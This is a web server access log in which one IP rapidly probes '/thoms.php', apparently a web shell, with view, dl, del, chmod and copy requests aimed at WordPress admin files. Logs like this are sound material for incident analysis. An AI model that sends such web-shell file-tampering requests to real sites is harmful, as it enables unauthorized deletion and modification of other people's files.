45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?dl=my-sites.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /broadweb.com.tw/wp-admin/authorize-application.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?del=edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:38 -0400] "GET /thoms.php?chmod=nav-menus.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fpost.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fpost.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Findex.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Findex.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?del=options-head.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?del=update.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?del=admin-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?chmod=customize.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?del=options.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?dl=plugin-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /broadweb.com.tw/wp-admin/customize.php HTTP/1.1" 403 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:39 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?chmod=load-scripts.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?chmod=options-reading.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?dl=site-health.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?dl=options-writing.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?del=plugin-install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /broadweb.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?chmod=admin-footer.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?del=link.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?del=profile.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Frevision.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Frevision.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?chmod=user-edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /broadweb.com.tw/wp-admin/maint/ HTTP/1.1" 200 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /broadweb.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?dl=user-edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:40 -0400] "GET /broadweb.com.tw/wp-admin/edit-comments.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?chmod=freedoms.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?dl=edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fauthorize-application.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fauthorize-application.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /broadweb.com.tw/wp-admin/media-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?del=contribute.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?del=menu-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-themes.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-themes.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?del=comment.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:41 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?del=ms-options.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?chmod=options.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ftheme-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ftheme-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /broadweb.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?dl=media-upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?dl=options-discussion.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?chmod=upgrade.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fuser-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fuser-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /broadweb.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?del=post-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?chmod=revision.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:42 -0400] "GET /thoms.php?chmod=theme-install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:43 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fthemes.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fthemes.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
